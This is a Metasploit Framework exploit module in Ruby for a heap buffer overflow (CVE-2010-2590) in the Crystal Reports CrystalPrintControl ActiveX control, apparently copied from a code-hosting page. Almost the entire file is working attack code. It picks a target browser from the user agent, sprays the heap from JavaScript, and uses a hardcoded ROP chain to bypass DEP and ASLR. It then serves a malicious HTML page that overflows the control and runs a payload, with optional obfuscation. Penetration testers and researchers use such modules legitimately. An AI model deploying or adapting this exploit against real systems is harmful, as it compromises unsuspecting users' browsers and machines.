317 lines
10 KiB
Ruby
317 lines
10 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
|
|
autopwn_info({
|
|
:ua_name => HttpClients::IE,
|
|
:ua_minver => "6.0",
|
|
:ua_maxver => "8.0",
|
|
:javascript => true,
|
|
:os_name => OperatingSystems::WINDOWS,
|
|
:rank => NormalRanking,
|
|
:classid => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}",
|
|
:method => "ServerResourceVersion"
|
|
})
|
|
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow",
|
|
'Description' => %q{
|
|
This module exploits a heap based buffer overflow in the CrystalPrintControl
|
|
ActiveX, while handling the ServerResourceVersion property. The affected control
|
|
can be found in the PrintControl.dll component as included with Crystal Reports
|
|
2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3
|
|
and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the
|
|
affected ActiveX control, to bypass DEP and ASLR.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Dmitriy Pletnev', # Vulnerability discovery
|
|
'Dr_IDE', # PoC
|
|
'juan vazquez' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2010-2590' ],
|
|
[ 'OSVDB', '69917' ],
|
|
[ 'BID', '45387' ],
|
|
[ 'EDB', '15733' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 890,
|
|
'BadChars' => "\x00",
|
|
'DisableNops' => true,
|
|
'PrependEncoder' => "\x81\xc4\xa4\xf3\xfe\xff" # Stack adjustment # add esp, -500
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# Using jre rop because msvcr71.dll is installed with the ActiveX control
|
|
# Crystal Reports 2008 / PrintControl.dll 12.0.0.683
|
|
[ 'Automatic', {} ],
|
|
[ 'IE 6 on Windows XP SP3',
|
|
{
|
|
'Rop' => nil,
|
|
'Offset' => '0x5F4',
|
|
'Ret' => 0x0c0c0c08
|
|
}
|
|
],
|
|
[ 'IE 7 on Windows XP SP3',
|
|
{
|
|
'Rop' => nil,
|
|
'Offset' => '0x5F4',
|
|
'Ret' => 0x0c0c0c08
|
|
}
|
|
],
|
|
[ 'IE 8 on Windows XP SP3',
|
|
{
|
|
'Rop' => :jre,
|
|
'Offset' => '0x5f4',
|
|
'Ret' => 0x0c0c0c0c,
|
|
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
|
|
}
|
|
],
|
|
[ 'IE 8 on Windows 7',
|
|
{
|
|
'Rop' => :jre,
|
|
'Offset' => '0x5f4',
|
|
'Ret' => 0x0c0c0c0c,
|
|
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Dec 14 2010",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def get_target(agent)
|
|
#If the user is already specified by the user, we'll just use that
|
|
return target if target.name != 'Automatic'
|
|
|
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
|
|
|
ie_name = "IE #{ie}"
|
|
|
|
case nt
|
|
when '5.1'
|
|
os_name = 'Windows XP SP3'
|
|
when '6.0'
|
|
os_name = 'Windows Vista'
|
|
when '6.1'
|
|
os_name = 'Windows 7'
|
|
end
|
|
|
|
targets.each do |t|
|
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
|
print_status("Target selected as: #{t.name}")
|
|
return t
|
|
end
|
|
end
|
|
|
|
return nil
|
|
end
|
|
|
|
def ie_heap_spray(my_target, p)
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
|
|
|
# Land the payload at 0x0c0c0c0c
|
|
# For IE 6, 7, 8
|
|
js = %Q|
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
var code = unescape("#{js_code}");
|
|
var nops = unescape("#{js_nops}");
|
|
while (nops.length < 0x80000) nops += nops;
|
|
var offset = nops.substring(0, #{my_target['Offset']});
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
|
heap_obj.gc();
|
|
for (var i=1; i < 0x300; i++) {
|
|
heap_obj.alloc(block);
|
|
}
|
|
var overflow = nops.substring(0, 10);
|
|
|
|
|
|
|
js = heaplib(js, {:noobfu => true})
|
|
|
|
if datastore['OBFUSCATE']
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
|
js.obfuscate
|
|
end
|
|
|
|
return js
|
|
end
|
|
|
|
def get_payload(t, cli)
|
|
code = payload.encoded
|
|
|
|
# No rop. Just return the payload.
|
|
return code if t['Rop'].nil?
|
|
|
|
# Both ROP chains generated by mona.py - See corelan.be
|
|
print_status("Using JRE ROP")
|
|
rop_payload = generate_rop_payload('java', code, {'pivot' => [t['Pivot']].pack("V")})
|
|
|
|
return rop_payload
|
|
end
|
|
|
|
def load_exploit_html(my_target, cli)
|
|
p = get_payload(my_target, cli)
|
|
js = ie_heap_spray(my_target, p)
|
|
|
|
# This rop chain can't contain NULL bytes, because of this RopDB isn't used
|
|
# rop chain generated with mona.py
|
|
rop_gadgets =
|
|
[
|
|
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
|
|
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
|
|
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
|
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
|
|
0xffffffff, #
|
|
0x7c376402, # skip 4 bytes [msvcr71.dll]
|
|
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
|
|
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
|
|
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
|
|
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
|
|
0xffffffc0, # Value to negate, will become 0x00000040
|
|
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
|
|
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
|
|
0x7c38b001, # &Writable location [msvcr71.dll]
|
|
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
|
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
|
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
|
|
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
|
|
].pack("V*")
|
|
|
|
# Allow to easily stackpivot to the payload
|
|
# stored on the sprayed heap
|
|
stackpivot_to_spray = %Q|
|
|
mov esp, 0x0c0c0c10
|
|
ret
|
|
|
|
|
|
|
# Space => 0x940 bytes
|
|
# 0x40c: Fill the current CrystalPrintControl object
|
|
# 0x8: Overflow next heap chunk header
|
|
# 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset
|
|
bof = rand_text_alpha(1036)
|
|
bof << [0x01010101].pack("V") # next heap chunk header
|
|
bof << [0x01010101].pack("V") # next heap chunk header
|
|
bof << [my_target.ret].pack("V")
|
|
bof << [0x7c3410c4].pack("V") # ret # msvcr71
|
|
bof << [0x7c3410c4].pack("V") # ret # msvcr71
|
|
bof << [0x7c3410c4].pack("V") # ret # msvcr71
|
|
bof << [0x7c3410c4].pack("V") # ret # msvcr71
|
|
bof << [0x7c3410c4].pack("V") # ret # msvcr71
|
|
bof << [0x7c3410c4].pack("V") # ret # msvcr71
|
|
bof << [0x7c3410c4].pack("V") # ret # msvcr71
|
|
bof << [0x7c3410c4].pack("V") # ret # msvcr71 # eip for w7 sp0 / ie8
|
|
bof << rop_gadgets
|
|
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, stackpivot_to_spray).encode_string
|
|
bof << rand_text_alpha(0x940 - bof.length)
|
|
|
|
js_bof = Rex::Text.to_unescape(bof, Rex::Arch.endian(my_target.arch))
|
|
|
|
target = rand_text_alpha(5 + rand(3))
|
|
target2 = rand_text_alpha(5 + rand(3))
|
|
target3 = rand_text_alpha(5 + rand(3))
|
|
target4 = rand_text_alpha(5 + rand(3))
|
|
target5 = rand_text_alpha(5 + rand(3))
|
|
target6 = rand_text_alpha(5 + rand(3))
|
|
target7 = rand_text_alpha(5 + rand(3))
|
|
target8 = rand_text_alpha(5 + rand(3))
|
|
target9 = rand_text_alpha(5 + rand(3))
|
|
target10 = rand_text_alpha(5 + rand(3))
|
|
target11 = rand_text_alpha(5 + rand(3))
|
|
target12 = rand_text_alpha(5 + rand(3))
|
|
target13 = rand_text_alpha(5 + rand(3))
|
|
target14 = rand_text_alpha(5 + rand(3))
|
|
target15 = rand_text_alpha(5 + rand(3))
|
|
|
|
# - 15 CrystalPrintControl objects are used to defragement the heap.
|
|
# - The 10th CrystalPrintControl is overflowed.
|
|
# - After the overflow, trying to access the overflowed object, control
|
|
# can be obtained.
|
|
html = %Q|
|
|
<html>
|
|
<head>
|
|
<script>
|
|
#{js}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<object id='#{target}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target2}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target3}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target4}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target5}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target6}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target7}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target8}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target9}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target10}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target11}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target12}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target13}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target14}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<object id='#{target15}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
|
|
<script>
|
|
var ret = unescape('#{js_bof}');
|
|
#{target9}.ServerResourceVersion = ret;
|
|
var c = #{target10}.BinName.length;
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
return html
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
uri = request.uri
|
|
print_status("Requesting: #{uri}")
|
|
|
|
my_target = get_target(agent)
|
|
# Avoid the attack if no suitable target found
|
|
if my_target.nil?
|
|
print_error("Browser not supported, sending 404: #{agent}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
html = load_exploit_html(my_target, cli)
|
|
html = html.gsub(/^\t\t/, '')
|
|
print_status("Sending HTML...")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
end
|
|
|
|
end |